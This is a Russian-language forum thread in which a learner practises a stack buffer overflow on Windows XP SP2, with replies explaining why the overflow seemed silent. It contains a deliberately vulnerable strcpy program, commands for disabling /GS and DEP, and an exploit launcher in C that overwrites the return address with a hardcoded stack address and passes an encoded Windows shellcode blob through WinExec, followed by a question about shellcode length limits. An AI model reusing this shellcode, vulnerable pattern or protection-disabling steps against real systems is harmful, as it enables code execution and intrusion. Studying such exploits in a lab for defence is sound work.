Вот код: Код (Text): #include <stdio.h> #include <string.h> int main(int argc,char *argv[]) { char buff[10]; strcpy(buff,argv[1]); printf("%s",buff); return 0; } Даю программе в аргументе больше 10 символов и переполнения нету, даю больше 30 и тоже нету, 1000 тоже нету Компилил в MSVC++. Потом вспомни что там флаг /GS включен по умолчанию. Отключил в свойстах проекта. Опять скомпилировал, опять не переполняет. Скомпилил на lcc-win32 и тоже нет переолнения. Вспомнил что есть DEP(Data Execution Prevention) и полез смотреть включен ли он. wmic OS Get DataExecutionPrevention_Available -> FALSE wmic OS Get DataExecutionPrevention_Drivers -> FALSE wmic OS Get DataExecutionPrevention_SupportPolicy -> 2 Код (Text): Значение свойства DataExecutionPrevention_SupportPolicy Уровень политики Описание 2 OptIn (конфигурация по умолчанию) Функция DEP включена только для системных компонентов и служб Windows 3 OptOut Функция DEP включена для всех процессов. Администратор может вручную создать список приложений, для которых функция DEP отключена 1 AlwaysOn Функция DEP включена для всех процессов 0 AlwaysOff Функция DEP отключена для всех процессов Ставил wmic OS Get DataExecutionPrevention_SupportPolicy -> 0, тоже нет переполнения. Изменил в boot.ini параметр /NoExecute=OptIn на /NoExecute=AlwaysOff и тоже нет переполнения. Как мне выполнить то переполнение. Хотел попрактиковаться и столкнулся с проблемой. Вообще не знаю как решить, всё уже перепробовал. На компе стоит WinXP Pro SP2
открой прогу под олькой, судя по всему твоё приложение просто тихо прибивается, происходит слующее, массив переполняется адрес возврата тоже ессесно, но функция printf отрабатывает нормально потому что ей пофик она ищет в стеке ноль и выводит всё до него а такой ноль скорее всего найдётся, затем происходит возврат по несуществующему адресу и тут то ось его и прибивает, но для тебя не заметно никакой разници потому что оно всё равно в этот момент должно завершиться. Короче попробуй так: Код (Text): void GenOverrun(unsigned char* str) { char local_str[10]; strcpy(local_str, str); } void main(int argc,char *argv[]) { printf("hello\n"); GenOverrun(argv[1]); printf("some shit that never displayed\n"); } и увидишь что второго printf'а не будет действительно может имелся в виду бокал пива?
To t00x Стек To asmeradm Да причём тут затереть то Ну если переполнится перезапишется EIP, выявлю какие именно из введённой мною строки затирают EIP, потом смогу его уже заменять. Я хочу понять почему не возникает перолнения то.Я описал что как делал в первом посте. Как мне попрактиковаться я не знаю.
Мда теперь столкнулся с другой проблемой. Компилирую сорс: Код (Text): void GenOverrun(unsigned char* str) { char local_str[10]; strcpy(local_str, str); } void main(int argc,char *argv[]) { printf("hello\n"); GenOverrun(argv[1]); printf("some shit that never displayed\n"); } Затем вызываю программу с параметром prog.exe AAAAAAAAAABBBBCCCCDDDD Прога падает в дебаг CCCC затирает EIP и значение ESP становится 0012FF64 ASCII "DDDD", значит по этому адресу будет распологаться шеллкод. Дальше вот что набросал: Код (Text): #include <windows.h> #include <stdio.h> #define PROG "prog.exe " void main(int argc,char *argv[]) { char overflow[] = "AAAAAAAAAABBBB"; char ret[] = "\x64\xff\x12"; char shellcode[] = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88" "\x28\x35\xb6\x83\xeb\xfc\xe2\xf4\x74\xc0\x71\xb6\x88\x28\xbe\xf3" "\xb4\xa3\x49\xb3\xf0\x29\xda\x3d\xc7\x30\xbe\xe9\xa8\x29\xde\xff" "\x03\x1c\xbe\xb7\x66\x19\xf5\x2f\x24\xac\xf5\xc2\x8f\xe9\xff\xbb" "\x89\xea\xde\x42\xb3\x7c\x11\xb2\xfd\xcd\xbe\xe9\xac\x29\xde\xd0" "\x03\x24\x7e\x3d\xd7\x34\x34\x5d\x03\x34\xbe\xb7\x63\xa1\x69\x92" "\x8c\xeb\x04\x76\xec\xa3\x75\x86\x0d\xe8\x4d\xba\x03\x68\x39\x3d" "\xf8\x34\x98\x3d\xe0\x20\xde\xbf\x03\xa8\x85\xb6\x88\x28\xbe\xde" "\xb4\x77\x04\x40\xe8\x7e\xbc\x4e\x0b\xe8\x4e\xe6\xe0\xd8\xbf\xb2" "\xd7\x40\xad\x48\x02\x26\x62\x49\x6f\x5f\x5c\xd8\xfe\x4d\x47\xb6"; char buff[512]; lstrcpy(buff,PROG); lstrcat(buff,overflow); lstrcat(buff,ret); lstrcat(buff,shellcode); buff[lstrlen(buff)] = '\0'; WinExec(buff,0); } Шеллкод упорно выполняться не хочет, а потом когда начал разбираться пришел вот к чему. Когда я запускаю прогамму так: Код (Text): prog.exe AAAAAAAAAABBBBCCCCZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 80 символов Z то программа не падает в дебаг, а если символов Z 75 или меньше то падает в дебаг. А шеллкоды все для винды больше 75 байт так что я не знаю как выполнить его. Подскажите либо поправьте где я что делаю не так.